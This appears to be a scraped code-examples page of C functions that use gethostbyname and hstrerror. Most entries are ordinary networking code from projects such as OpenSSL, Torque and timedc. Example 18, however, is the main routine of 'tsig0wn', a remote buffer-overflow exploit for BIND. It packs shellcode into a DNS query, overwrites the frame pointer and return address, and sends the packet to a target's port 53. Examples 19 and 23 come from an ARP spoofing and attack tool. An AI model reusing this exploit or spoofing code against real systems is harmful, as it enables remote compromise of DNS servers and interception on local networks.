        fprintf(stderr, "Couldn't lookup %s: %s", hostname, hstrerror(h_errno));
        return 1;
    }
    if (h->h_addrtype != AF_INET) {
        fprintf(stderr, "No ipv6 support, sorry.");
        return 1;
    }

    /* Allocate a new socket */
    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0) {
        perror("socket");
        return 1;
    }

    /* Connect to the remote host. */
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr = *(struct in_addr*)h->h_addr;
    if (connect(fd, (struct sockaddr*) &sin, sizeof(sin))) {
        perror("connect");
        close(fd);
        return 1;
    }

    /* Write the query. */
    /* XXX Can send succeed partially? */
    cp = query;
    remaining = strlen(query);
    while (remaining) {
      n_written = send(fd, cp, remaining, 0);
      if (n_written <= 0) {
        perror("send");
        return 1;
      }
      remaining -= n_written;
      cp += n_written;
    }

    /* Get an answer back. */
    while (1) {
        ssize_t result = recv(fd, buf, sizeof(buf), 0);
        if (result == 0) {
            break;
        } else if (result < 0) {
            perror("recv");
            close(fd);
            return 1;
        }
        fwrite(buf, 1, result, stdout);
    }

    close(fd);
    return 0;
}
Ejemplo n.º 14
0
/*
 * Call into the process spawner, using the same port we were given
 * at startup time, to tell it to abort the entire job.
 */
int pmgr_abort(int code, const char *fmt, ...)
{
    int s;
    struct sockaddr_in sin;
    struct hostent* he;
    va_list ap;
    char buf [256];
    int len;

    /* if the tree is open, send out abort messages to parent and children */
    pmgr_abort_trees();

    /* build our error message */
    va_start(ap, fmt);
    vprint_msg(buf, sizeof(buf), fmt, ap);
    va_end(ap);

    /* check whether we have an mpirun process, and check whether we can connect back to it */
    if (mpirun_hostname != NULL && !mpirun_pmi_enable && !(mpirun_shm_enable && pmgr_nprocs >= mpirun_shm_threshold)) {
        he = gethostbyname(mpirun_hostname);
        if (!he) {
            pmgr_error("pmgr_abort: Hostname lookup of mpirun failed (gethostbyname(%s) %s h_errno=%d) @ file %s:%d",
                mpirun_hostname, hstrerror(h_errno), h_errno, __FILE__, __LINE__
            );
            return -1;
        }

        s = socket(AF_INET, SOCK_STREAM, 0);
        if (s < 0) {
            pmgr_error("pmgr_abort: Failed to create socket (socket() %m errno=%d) @ file %s:%d",
                errno, __FILE__, __LINE__
            );
            return -1;
        }

        memset(&sin, 0, sizeof(sin));
        sin.sin_family = he->h_addrtype;
        memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(sin.sin_addr));
        sin.sin_port = htons(mpirun_port);
        if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
            pmgr_error("pmgr_abort: Connect to mpirun failed (connect() %m errno=%d) @ file %s:%d",
                errno, __FILE__, __LINE__
            );
            return -1;
        }

        /* write an abort code (may be destination rank), our rank to mpirun */
        pmgr_write_fd(s, &code, sizeof(code));
        pmgr_write_fd(s, &pmgr_me, sizeof(pmgr_me));

        /* now length of error string, and error string itself to mpirun */
        len = strlen(buf) + 1;
        pmgr_write_fd(s, &len, sizeof(len));
        pmgr_write_fd(s, buf, len);

        close(s);
    } else { /* check that (mpirun_hostname != NULL) */
        /* TODO: want to echo this message here?  Want to do this for every user abort? */
        pmgr_error("Called pmgr_abort() Code: %d, Msg: %s", code, buf);
    }

    if (mpirun_pmi_enable) {
#ifdef HAVE_PMI
        PMI_Abort(code, buf);
#endif /* ifdef HAVE_PMI */
    }

    return PMGR_SUCCESS;
}
Ejemplo n.º 15
0
int getHostIPV4AddressesByHostNameAsString(MCTYPE 	 		context,
										   const char 	   *hostname,
										   SimpStringPtr 	ohostname,
										   List   		  **addresses)
{
	Assert(hostname != NULL);
	Assert(ohostname != NULL);
	Assert(addresses != NULL);

	char ipstr[32];
	struct hostent  *hent = NULL;
	*addresses = NULL;
	/* Try to resolve this host by hostname. */

	for ( int i = 0 ; i < NETWORK_RETRY_TIMES ; ++i )
	{
		hent = gethostbyname(hostname);
		if( hent != NULL )
		{
			break;
		}
		else if ( h_errno != TRY_AGAIN )
		{
			write_log("Failed to call gethostbyname() to get host %s, %s",
					  hostname,
					  hstrerror(h_errno));
			break;
		}
		pg_usleep(NETWORK_RETRY_SLEEP_US);
	}

	if ( hent == NULL )
	{
		write_log("Failed to resolve host %s.", hostname);
		return SYSTEM_CALL_ERROR;
	}

	setSimpleStringNoLen(ohostname, hent->h_name);

	if ( hent->h_addrtype != AF_INET )
	{
		return FUNC_RETURN_OK; /* No IPv4 addresses. addresses is set NULL. */
	}

	/* This switch is to support List operation */
	MEMORY_CONTEXT_SWITCH_TO(context)

	for ( char **paddr = hent->h_addr_list ; *paddr != NULL ; paddr++ )
	{

		inet_ntop(hent->h_addrtype, *paddr, ipstr, sizeof(ipstr));

		int newaddrlen = strlen(ipstr);
		AddressString newaddr = (AddressString)
								rm_palloc0(context,
										   __SIZE_ALIGN64(
											   offsetof(AddressStringData, Address) +
											   newaddrlen + 1));
		newaddr->Length = newaddrlen;
		memcpy(newaddr->Address, ipstr, newaddrlen+1);
		*addresses = lappend(*addresses, (void *)newaddr);
	}

	MEMORY_CONTEXT_SWITCH_BACK

	return FUNC_RETURN_OK;
}
Ejemplo n.º 16
0
int  get_hostaddr_hostent_af(

  int             *rc,
  char            *hostname,
  unsigned short  *af_family,
  char           **host_addr,
  int             *host_addr_len)

  {
  int                    addr_rc;
  struct sockaddr_in     sa;
  char                   log_buf[LOCAL_LOG_BUF_SIZE];
  char                  *tmp_ip = NULL;

#ifdef NUMA_SUPPORT
  /* if this is a numa host, just get the parent node's address */
  char *dash;

  if ((dash = strchr(hostname,'-')) != NULL)
    {
    char *tmp;

    /* make sure to use the last dash */
    while ((tmp = strchr(dash+1,'-')))
      dash = tmp;

    if (isdigit(*(dash+1)))
      {
      /* terminate string temporarily */
      *dash = '\0';

      /* check if this resolves to a hostname without the dash */
      if ((addr_rc = get_addr_info(hostname, &sa, 3)) != 0)
        {
        /* not a numa-owned node, act normal */
        *dash = '-';
      
        addr_rc = get_addr_info(hostname, &sa, 3);
        }
      }
    /* otherwise proceed with just the parent hostname so 
     * it can be resolved */
    else
      addr_rc = get_addr_info(hostname, &sa, 3);
    }
  else
    addr_rc = get_addr_info(hostname, &sa, 3);
#else
  addr_rc = get_addr_info(hostname, &sa, 3);
#endif /* NUMA_SUPPORT */

  *rc = PBSE_NONE;

  if (addr_rc != 0)
    {
    snprintf(log_buf, sizeof(log_buf),
      "cannot resolve IP address for host '%s' herror=%d: %s",
      hostname,
      h_errno,
      hstrerror(h_errno));
      /* This is for cases where the client is running this command */
      if (log_mutex == NULL)
        fprintf(stderr, "%s\n", log_buf);
      else
        log_event(PBSEVENT_SYSTEM,PBS_EVENTCLASS_SERVER,"get_hostaddr_hostent",log_buf);

    if (h_errno == TRY_AGAIN)
      *rc = PBS_NET_RC_RETRY;
    else
      *rc = PBS_NET_RC_FATAL;

    return(*rc);
    }

  if ((tmp_ip = (char *)calloc(1, sizeof(struct in_addr) + 1)) == NULL)
    {
    *rc = PBS_NET_RC_FATAL;
    }
  else
    {
    memcpy(tmp_ip, &sa.sin_addr, sizeof(struct in_addr));
    *host_addr = tmp_ip;
    *host_addr_len = sizeof(struct in_addr);
    *af_family = sa.sin_family;
    }


  return(*rc);
  }  /* END get_hostaddr_hostent() */
Ejemplo n.º 17
0
/*
 * A wrapper for getting one socket connection to server.
 *
 * address[in]			The address to connect.
 * port[in] 			The port number.
 * clientfd[out]		The fd of connection.
 *
 * Return:
 * FUNC_RETURN_OK					Succeed.
 * UTIL_NETWORK_FAIL_CREATESOCKET. 	Fail to call socket().
 * UTIL_NETWORK_FAIL_GETHOST. 		Fail to call gethostbyname().
 * UTIL_NETWORK_FAIL_CONNECT. 		Fail to call connect().
 */
int connectToServerRemote(const char *address, uint16_t port, int *clientfd)
{
	int					fd		= 0;
	int 		    	sockres = 0;
	struct sockaddr_in 	server_addr;
	struct hostent 	   *server  = NULL;

	*clientfd = -1;

	server = gethostbyname(address);
	if ( server == NULL )
	{
		write_log("Failed to get host by name %s for connecting to a remote "
				  "socket server %s:%d (error %s)",
				  address,
				  address,
				  port,
				  hstrerror(h_errno));
		return UTIL_NETWORK_FAIL_GETHOST;
	}

	fd = socket(AF_INET, SOCK_STREAM, 0);
	if ( fd < 0 )
	{
		write_log("Failed to open socket for connecting remote socket server "
				  "(errno %d)",
				  errno);
		return UTIL_NETWORK_FAIL_CREATESOCKET;
	}

	bzero((char *)&server_addr, sizeof(server_addr));
	server_addr.sin_family = AF_INET;
	bcopy((char *)server->h_addr,
		  (char *)&server_addr.sin_addr.s_addr,
		  server->h_length);
	server_addr.sin_port = htons(port);

	while(true)
	{
		sockres = connect(fd,
						  (struct sockaddr *)&server_addr,
						  sizeof(server_addr));
		if( sockres < 0)
		{
			write_log("Failed to connect to remove socket server (errno %d), fd %d",
					  errno,
					  fd);

			if (errno == EINTR)
			{
				continue;
			}
			else
			{
				write_log("Close fd %d at once due to not recoverable error "
						  "detected.",
						  fd);
				closeConnectionRemote(&fd);
				return UTIL_NETWORK_FAIL_CONNECT;
			}
		}
		break;
	}

	*clientfd = fd;
	return FUNC_RETURN_OK;
}
Ejemplo n.º 18
0
int
main (int argc, char *argv[])
{
	char 						query[PACKETSZ];	// construct our query packet here
	char						*query_ptr;		// pointer to walk the query buffer
	HEADER					*hdr_ptr;		// pointer to the header part of the query buffer

	int						arg;
	unsigned int			buffer_start, 
								frame_pointer, // value the frame pointer will have
								shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
	int						index;

	char						*target_name;
	struct hostent			*target_host;	
	struct sockaddr_in	target;		
	int						sockfd;

	if (argc < 2)
		usage ();

	while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
		switch (arg){
			case 'b':	sscanf (optarg, "%x", &buffer_start);
							break;
			case 'f':	sscanf (optarg, "%x", &frame_pointer);
							break;
			case 's':	index = atoi (optarg) - 1; 
							buffer_start = system[index].buffer_start;
							frame_pointer = system[index].frame_pointer;
							break;
			default :	usage ();
		}
	}
	if (!(target_name = argv[optind])){
		fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
		exit (1);
	}

/*
 * Form a header. 
 */
 	memset (query, 0, PACKETSZ);
 	// cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
	hdr_ptr = (HEADER *)query;
	hdr_ptr->id = htons (0x1234);			
	hdr_ptr->qr = 0;					
	hdr_ptr->opcode = 0;					
	hdr_ptr->qdcount = htons (2);			
	hdr_ptr->arcount = htons (1);	


/*
 * Form a query after the header where we put in the shellcode
 */
	query_ptr = (char *) (hdr_ptr + 1);
	memcpy (query_ptr, shellcode, strlen (shellcode)+1);
	query_ptr += strlen (shellcode) + 1;
	PUTSHORT (T_A, query_ptr);
	PUTSHORT (C_IN, query_ptr);

/*
 * we form another header here that contains garbage with embedded stuff
 * i cud have put this in the same header as the shellcode and have the
 * shellcode nullify. (shrug)
 */
	{
		char *tmp;
		unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;

		frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do

		// this will make layout a domain name for the second query, within which
		// we will embed our ebp | eip
		encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
		query_ptr += system[index].garbage_len;

		shellcode_addr = buffer_start + SHELLCODE_OFFSET;
		printf ("buffer starts at address = 0x%x\n", buffer_start);
		printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
		printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
		printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
		// put in the type member of evEvent_p. File is what we need
		tmp = query + DUMMY_ARG_OFFSET;
		tmp[0] = ENUM_FILE;
		tmp[1] = ENUM_FILE >> 8;
		tmp[2] = ENUM_FILE >> 16;
		tmp[3] = ENUM_FILE >> 24;

		// embed the addresses. These will be interpreted as ebp and eip. 
		// we put the address where our shellcode will be situated twice.
		// we overflow the saved frame pointer of datagram_read(). when the
		// function returns to __evDispatch() it calls __evDrop().
		// because we have shifted the frame pointer and thus __evDispatch()
		// notion of the stack we also provide two pointers as arguments to
		// __evDispatch. These pointers point to the start of this query header
		// name, within which __evDrop will look for evEvent_p->type. we set
		// type to be of type 'file' above which causes it to break and execute 
		// FREE() which in turn calls free().
		tmp = query + (frame_pointer - buffer_start);	// advance the ptr to the place where we put in our ebp|eip
		tmp[0] = shellcode_addr;
		tmp[1] = shellcode_addr >> 8;
		tmp[2] = shellcode_addr >> 16;
		tmp[3] = shellcode_addr >> 24;
		tmp[4] = shellcode_addr;
		tmp[5] = shellcode_addr >> 8;
		tmp[6] = shellcode_addr >> 16;
		tmp[7] = shellcode_addr >> 24;

		tmp[8] = dummy_argument;
		tmp[9] = dummy_argument >> 8;
		tmp[10] = dummy_argument >> 16;
		tmp[11] = dummy_argument >> 24;
		tmp[12] = dummy_argument;
		tmp[13] = dummy_argument >> 8;
		tmp[14] = dummy_argument >> 16;
		tmp[15] = dummy_argument >> 24;
	}
	PUTSHORT (T_A, query_ptr);
	PUTSHORT (C_IN, query_ptr);
/*
 * Additional section containing T_SIG stuff
 */
 	// a name with only one char
	memcpy (query_ptr, "\x01m\x00", 3); 
	query_ptr+=3;
	PUTSHORT (NS_T_TSIG, query_ptr);
	PUTSHORT (C_IN, query_ptr);
// these members wont be checked at all as find_key returns NULL on testing secretkey_info. 
//	PUTLONG (0, query_ptr);			
//	PUTSHORT (0, query_ptr);				

/*
 * Connect and deliver the payload
 */
	if (!(target_host = gethostbyname (target_name))){
		fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno));
		exit (1);
	}
	if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
		perror ("socket");
		exit (1);
	}
	memset (&target, 0, sizeof (target));
	target.sin_family = AF_INET;
	target.sin_port = htons (53);
	target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr;

	if (connect (sockfd, &target, sizeof (target)) < 0){
		perror ("connect");
		exit (1);
	}
	if (send (sockfd, query, query_ptr - query, 0) < 0){
		perror ("send");
		exit (1);
	}
	exit (0);
}
Ejemplo n.º 19
0
/******************************************************************************
 * 功能:主函数
 * 参数:无
******************************************************************************/
int main(int argc, char **argv)
{
    struct hostent *host;

    u_char source_mac[18];          //源mac

    struct my_data pdata;

    int pthread_err;                //线程返回值
    pthread_t pthread_id1;          //线程1为发送ARP帧
    pthread_t pthread_id3;          //线程3为arp攻击

    struct in_addr local_ip;        //本地ip地址,字节流形式
    struct in_addr local_mask;      //本地mask地址,字节流形式

    u_char *local_mac = NULL;       //本地mac地址,字节流形式
    local_mac = (u_char *)malloc(ETH_ALEN);
    if(NULL == local_mac)
    {
        printf("Memory allocation failure\n");
        exit(-1);
    }
    memset(local_mac, 0, ETH_ALEN);

    get_local_info(local_mac, &local_ip, &local_mask);

    pdata.source_ip.s_addr = local_ip.s_addr;
    memcpy(pdata.source_mac, local_mac, ETH_ALEN);

    memset(source_mac, 0, 18);
    sprintf(source_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
            *(local_mac+0), *(local_mac+1), *(local_mac+2),
            *(local_mac+3), *(local_mac+4), *(local_mac+5)
            );

    host = gethostbyaddr(&local_ip, sizeof(struct in_addr), AF_INET);
    if(NULL == host)
    {
        printf("gethostbyaddr error: %s\n", hstrerror(h_errno));
        exit(-1);
    }


    printf("\n=======================================================================================================\n");
    printf("local infomation:\n");
    printf("hostname: %s   ", host->h_name);
    printf("ip: %s   ", inet_ntoa(local_ip));
    printf("mac: %s   ", source_mac);
    printf("mask: %s", inet_ntoa(local_mask));
    printf("\n=======================================================================================================\n");
 
    if( OK != linklist_init(&l) )             //初始化链表
    {
        printf("初始化链表失败\n");
        exit(-1);
    }

    //查找网络设备
    dev = pcap_lookupdev(error_content);
    if(NULL == dev)
    {
        printf("couldn't find default device: %s\n", error_content);
        exit(-1);
    }
    else
    {
        printf("find success device : %s\n", dev);
    }

    //打开网络设备(网卡必须要设置为混杂模式:ifconfig eth0 promise)
    pcap_handle = pcap_open_live(dev, 65535, 1, 0, error_content);
    if(NULL == pcap_handle)
    {
        printf("couldn't open the net device: %s\n", error_content);
        exit(-1);
    }
    else
    {
        printf("open net device success\n");
    }

    //创建线程
    pthread_err = pthread_create(&pthread_id1, NULL, send_arp_packet, &(pdata));
    if(pthread_err != 0)
    {
        printf("Can't create thread: %s\n", strerror(pthread_err));
        exit(-1);
    }

    pthread_err = pthread_create(&pthread_id2, NULL, capture_arp_packet, NULL);
    if(pthread_err != 0)
    {
        printf("Can't create thread: %s\n", strerror(pthread_err));
        exit(-1);
    } 

    sleep(10);
    pthread_err = pthread_create(&pthread_id3, NULL, arp_attack, NULL);
    if(pthread_err != 0)
    {
        printf("Can't create thread: %s\n", strerror(pthread_err));
        exit(-1);
    }

    //等待线程结束
    pthread_join(pthread_id1, NULL);
    pthread_join(pthread_id2, NULL);
    pthread_join(pthread_id3, NULL);

    free(local_mac);
    local_mac = NULL;
    
    linklist_destroy(&l);

    return 0;
}
Ejemplo n.º 20
0
/*-
 * BIO_lookup - look up the node and service you want to connect to.
 * @node: the node you want to connect to.
 * @service: the service you want to connect to.
 * @lookup_type: declare intent with the result, client or server.
 * @family: the address family you want to use.  Use AF_UNSPEC for any, or
 *  AF_INET, AF_INET6 or AF_UNIX.
 * @socktype: The socket type you want to use.  Can be SOCK_STREAM, SOCK_DGRAM
 *  or 0 for all.
 * @res: Storage place for the resulting list of returned addresses
 *
 * This will do a lookup of the node and service that you want to connect to.
 * It returns a linked list of different addresses you can try to connect to.
 *
 * When no longer needed you should call BIO_ADDRINFO_free() to free the result.
 *
 * The return value is 1 on success or 0 in case of error.
 */
int BIO_lookup(const char *host, const char *service,
               enum BIO_lookup_type lookup_type,
               int family, int socktype, BIO_ADDRINFO **res)
{
    int ret = 0;                 /* Assume failure */

    switch(family) {
    case AF_INET:
#ifdef AF_INET6
    case AF_INET6:
#endif
#ifdef AF_UNIX
    case AF_UNIX:
#endif
#ifdef AF_UNSPEC
    case AF_UNSPEC:
#endif
        break;
    default:
        BIOerr(BIO_F_BIO_LOOKUP, BIO_R_UNSUPPORTED_PROTOCOL_FAMILY);
        return 0;
    }

#ifdef AF_UNIX
    if (family == AF_UNIX) {
        if (addrinfo_wrap(family, socktype, host, strlen(host), 0, res))
            return 1;
        else
            BIOerr(BIO_F_BIO_LOOKUP, ERR_R_MALLOC_FAILURE);
        return 0;
    }
#endif

    if (BIO_sock_init() != 1)
        return 0;

    if (1) {
        int gai_ret = 0;
#ifdef AI_PASSIVE
        struct addrinfo hints;

        hints.ai_flags = 0;
# ifdef AI_ADDRCONFIG
        hints.ai_flags = AI_ADDRCONFIG;
# endif
        hints.ai_family = family;
        hints.ai_socktype = socktype;
        hints.ai_protocol = 0;
        hints.ai_addrlen = 0;
        hints.ai_addr = NULL;
        hints.ai_canonname = NULL;
        hints.ai_next = NULL;

        if (lookup_type == BIO_LOOKUP_SERVER)
            hints.ai_flags |= AI_PASSIVE;

        /* Note that |res| SHOULD be a 'struct addrinfo **' thanks to
         * macro magic in bio_lcl.h
         */
        switch ((gai_ret = getaddrinfo(host, service, &hints, res))) {
# ifdef EAI_SYSTEM
        case EAI_SYSTEM:
            SYSerr(SYS_F_GETADDRINFO, get_last_socket_error());
            BIOerr(BIO_F_BIO_LOOKUP, ERR_R_SYS_LIB);
            break;
# endif
        case 0:
            ret = 1;             /* Success */
            break;
        default:
            BIOerr(BIO_F_BIO_LOOKUP, ERR_R_SYS_LIB);
            ERR_add_error_data(1, gai_strerror(gai_ret));
            break;
        }
    } else {
#endif
        const struct hostent *he;
        /* Windows doesn't seem to have in_addr_t */
#ifdef OPENSSL_SYS_WINDOWS
        static uint32_t he_fallback_address;
        static const uint32_t *he_fallback_addresses[] =
            { &he_fallback_address, NULL };
#else
        static in_addr_t he_fallback_address;
        static const in_addr_t *he_fallback_addresses[] =
            { &he_fallback_address, NULL };
#endif
        static const struct hostent he_fallback =
            { NULL, NULL, AF_INET, sizeof(he_fallback_address),
              (char **)&he_fallback_addresses };
        struct servent *se;
        /* Apprently, on WIN64, s_proto and s_port have traded places... */
#ifdef _WIN64
        struct servent se_fallback = { NULL, NULL, NULL, 0 };
#else
        struct servent se_fallback = { NULL, NULL, 0, NULL };
#endif
        char *proto = NULL;

        CRYPTO_w_lock(CRYPTO_LOCK_GETHOSTBYNAME);
        CRYPTO_w_lock(CRYPTO_LOCK_GETSERVBYNAME);
        he_fallback_address = INADDR_ANY;
        if (host == NULL) {
            he = &he_fallback;
            switch(lookup_type) {
            case BIO_LOOKUP_CLIENT:
                he_fallback_address = INADDR_LOOPBACK;
                break;
            case BIO_LOOKUP_SERVER:
                he_fallback_address = INADDR_ANY;
                break;
            default:
                OPENSSL_assert(("We forgot to handle a lookup type!" == 0));
                break;
            }
        } else {
            he = gethostbyname(host);

            if (he == NULL) {
#ifndef OPENSSL_SYS_WINDOWS
                BIOerr(BIO_F_BIO_LOOKUP, ERR_R_SYS_LIB);
                ERR_add_error_data(1, hstrerror(h_errno));
#else
                SYSerr(SYS_F_GETHOSTBYNAME, WSAGetLastError());
#endif
                ret = 0;
                goto err;
            }
        }

        if (service == NULL) {
            se_fallback.s_port = 0;
            se_fallback.s_proto = proto;
            se = &se_fallback;
        } else {
            char *endp = NULL;
            long portnum = strtol(service, &endp, 10);

            if (endp != service && *endp == '\0'
                    && portnum > 0 && portnum < 65536) {
                se_fallback.s_port = htons(portnum);
                se_fallback.s_proto = proto;
                se = &se_fallback;
            } else if (endp == service) {
                switch (socktype) {
                case SOCK_STREAM:
                    proto = "tcp";
                    break;
                case SOCK_DGRAM:
                    proto = "udp";
                    break;
                }
                se = getservbyname(service, proto);

                if (se == NULL) {
#ifndef OPENSSL_SYS_WINDOWS
                    BIOerr(BIO_F_BIO_LOOKUP, ERR_R_SYS_LIB);
                    ERR_add_error_data(1, hstrerror(h_errno));
#else
                    SYSerr(SYS_F_GETSERVBYNAME, WSAGetLastError());
#endif
                    goto err;
                }
            } else {
                BIOerr(BIO_F_BIO_LOOKUP, BIO_R_MALFORMED_HOST_OR_SERVICE);
                goto err;
            }
        }

        *res = NULL;

        {
            char **addrlistp;
            size_t addresses;
            BIO_ADDRINFO *tmp_bai = NULL;

            /* The easiest way to create a linked list from an
               array is to start from the back */
            for(addrlistp = he->h_addr_list; *addrlistp != NULL;
                addrlistp++)
                ;

            for(addresses = addrlistp - he->h_addr_list;
                addrlistp--, addresses-- > 0; ) {
                if (!addrinfo_wrap(he->h_addrtype, socktype,
                                   *addrlistp, he->h_length,
                                   se->s_port, &tmp_bai))
                    goto addrinfo_malloc_err;
                tmp_bai->bai_next = *res;
                *res = tmp_bai;
                continue;
             addrinfo_malloc_err:
                BIO_ADDRINFO_free(*res);
                *res = NULL;
                BIOerr(BIO_F_BIO_LOOKUP, ERR_R_MALLOC_FAILURE);
                ret = 0;
                goto err;
            }

            ret = 1;
        }
     err:
        CRYPTO_w_unlock(CRYPTO_LOCK_GETSERVBYNAME);
        CRYPTO_w_unlock(CRYPTO_LOCK_GETHOSTBYNAME);
    }

    return ret;
}
Ejemplo n.º 21
0
/*
 * Clockdiff computes the difference between the time of the machine on
 * which it is called and the time of the machines given as argument.
 * The time differences measured by clockdiff are obtained using a sequence
 * of ICMP TSTAMP messages which are returned to the sender by the IP module
 * in the remote machine.
 * In order to compare clocks of machines in different time zones, the time
 * is transmitted (as a 32-bit value) in milliseconds since midnight UT.
 * If a hosts uses a different time format, it should set the high order
 * bit of the 32-bit quantity it transmits.
 * However, VMS apparently transmits the time in milliseconds since midnight
 * local time (rather than GMT) without setting the high order bit.
 * Furthermore, it does not understand daylight-saving time.  This makes
 * clockdiff behaving inconsistently with hosts running VMS.
 *
 * In order to reduce the sensitivity to the variance of message transmission
 * time, clockdiff sends a sequence of messages.  Yet, measures between
 * two `distant' hosts can be affected by a small error. The error can,
 * however, be reduced by increasing the number of messages sent in each
 * measurement.
 */
void
clockdiff(int argc, char *argv[])
{
	int measure_status;
	extern int measure(u_long, u_long, char *, struct sockaddr_in*, int);
	register int avg_cnt;
	register long avg;
	struct servent *sp;

	if (argc < 2)  {
		printf("usage: timedc clockdiff host ...\n");
		return;
	}

	if (gethostname(myname, sizeof(myname) - 1) < 0)
		err(1, "gethostname");

	/* get the address for the date ready */
	sp = getservbyname(DATE_PORT, DATE_PROTO);
	if (!sp) {
		warnx("%s/%s: unknown service", DATE_PORT, DATE_PROTO);
		dayaddr.sin_port = 0;
	} else {
		dayaddr.sin_port = sp->s_port;
	}

	while (argc > 1) {
		argc--; argv++;
		hp = gethostbyname(*argv);
		if (hp == NULL) {
			warnx("%s: %s", *argv, hstrerror(h_errno));
			continue;
		}

		server.sin_family = hp->h_addrtype;
		bcopy(hp->h_addr, &server.sin_addr.s_addr, hp->h_length);
		for (avg_cnt = 0, avg = 0; avg_cnt < 16; avg_cnt++) {
			measure_status = measure(10000,100, *argv, &server, 1);
			if (measure_status != GOOD)
				break;
			avg += measure_delta;
		}
		if (measure_status == GOOD)
			measure_delta = avg/avg_cnt;

		switch (measure_status) {
		case HOSTDOWN:
			printf("%s is down\n", hp->h_name);
			continue;
		case NONSTDTIME:
			printf("%s transmits a non-standard time format\n",
			       hp->h_name);
			continue;
		case UNREACHABLE:
			printf("%s is unreachable\n", hp->h_name);
			continue;
		}

		/*
		 * Try to get the date only after using ICMP timestamps to
		 * get the time.  This is because the date protocol
		 * is optional.
		 */
		if (dayaddr.sin_port != 0) {
			dayaddr.sin_family = hp->h_addrtype;
			bcopy(hp->h_addr, &dayaddr.sin_addr.s_addr,
			      hp->h_length);
			avg = daydiff(*argv);
			if (avg > SECDAY) {
				printf("time on %s is %ld days ahead %s\n",
				       hp->h_name, avg/SECDAY, myname);
				continue;
			} else if (avg < -SECDAY) {
				printf("time on %s is %ld days behind %s\n",
				       hp->h_name, -avg/SECDAY, myname);
				continue;
			}
		}

		if (measure_delta > 0) {
			printf("time on %s is %d ms. ahead of time on %s\n",
			       hp->h_name, measure_delta, myname);
		} else if (measure_delta == 0) {
			printf("%s and %s have the same time\n",
			       hp->h_name, myname);
		} else {
			printf("time on %s is %d ms. behind time on %s\n",
			       hp->h_name, -measure_delta, myname);
		}
	}
	return;
}
Ejemplo n.º 22
0
void
http_head_req (struct request *req)
{
  struct sockaddr_in sin;
  struct hostent *he;
  int sd;
  char *sbuf;
  char *rbuf;
  char *tok;
  char *s;
  int clength;


  sbuf = (char *) malloc ((HEADREQSIZ + strlen (req->url)) * sizeof (char));
  memset(sbuf, 0, (HEADREQSIZ + strlen (req->url)) * sizeof (char));

  rbuf = (char *) malloc (HEADREQSIZ * sizeof (char) );
  memset(rbuf, 0, HEADREQSIZ * sizeof (char));
			   
  if ((he = gethostbyname (req->host)) == NULL)
    {
      Log ("Error: Cannot resolve hostname for %s: %s",
	   req->host, hstrerror (h_errno));
      exit (1);
    }
  strncpy (req->ip, inet_ntoa (*(struct in_addr *) he->h_addr), MAXIPSIZ);


  time (&t_start);
  bzero (&sin, sizeof (sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr (req->ip);
  sin.sin_port = htons (req->port);

  if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      Log ("Socket creation failed for Head Request: %s", strerror (errno));
      exit (1);
    }
  if ((connect (sd, (const struct sockaddr *) &sin, sizeof (sin))) == -1)
    {
      Log ("Connection failed for Head Request: %s", strerror (errno));
      exit (1);
    }
  Log ("Head-Request Connection established");

  sprintf (sbuf, HEADREQ, req->url, req->host, PROGVERSION);
  if ((send (sd, sbuf, strlen (sbuf), 0)) == -1)
    {
      Log ("send failed for Head Request: %s", strerror (errno));
      exit (1);
    }

  if ((recv (sd, rbuf, HEADREQSIZ, 0)) == -1)
    {
      Log ("recv failed for Head Request: %s", strerror (errno));
      exit (1);
    }

  handleHttpRetcode (rbuf);

  tok = strtok (rbuf, "\r\n");
  if ((strstr (tok, "HTTP/1.1 200")) != NULL)
    {
      while ((tok = strtok (NULL, "\r\n")) != NULL)
	{
	  if ((strstr (tok, "Content-Length")) != NULL)
	    {
	      s = (tok + strlen ("Content-Length: "));
	      clength = atoi (s);
	      req->clength = clength;
	    }
	}
    }
  free (sbuf);
  free (rbuf);

}
Ejemplo n.º 23
0
int sendpkg ( char * mac,char * broad_mac,char * ip,char * dest )
{
    Ether_pkg pkg;
    struct hostent *host =NULL;
    struct sockaddr sa;
    int sockfd,len;
    char buffer[255];
    memset ( ( char * ) &pkg,'\0',sizeof ( pkg ) );

    /* 填充ethernet包文 */
    memcpy ( ( char * ) pkg.ether_shost, ( char * ) mac,6 );
    memcpy ( ( char * ) pkg.ether_dhost, ( char * ) broad_mac,6 );
    pkg.ether_type = htons ( ETHERTYPE_ARP );


    /* 下面填充arp包文 */
    pkg.ar_hrd = htons ( ARPHRD_ETHER );
    pkg.ar_pro = htons ( ETHERTYPE_IP );
    pkg.ar_hln = 6;
    pkg.ar_pln = 4;
    pkg.ar_op = htons ( ARPOP_REQUEST );
    memcpy ( ( char * ) pkg.arp_sha, ( char * ) mac,6 );
    memcpy ( ( char * ) pkg.arp_spa, ( char * ) ip,4 );
    memcpy ( ( char * ) pkg.arp_tha, ( char * ) broad_mac,6 );

    /*printf ( "Resolve [%s],Please Waiting...",dest );
     以欺骗方式发包,会造成IP冲突错误 */
    fflush ( stdout );
    memset ( ip,0,sizeof ( ip ) );
    if ( inet_aton ( dest, ( struct in_addr * ) ip ) ==0 )
    {
        if ( ( host = gethostbyname ( dest ) ) ==NULL )
        {
            fprintf ( stderr,"Fail! %s\n\a",hstrerror ( h_errno ) );
            return ( -1 );
        }
        memcpy ( ( char * ) ip,host->h_addr,4 );
    }
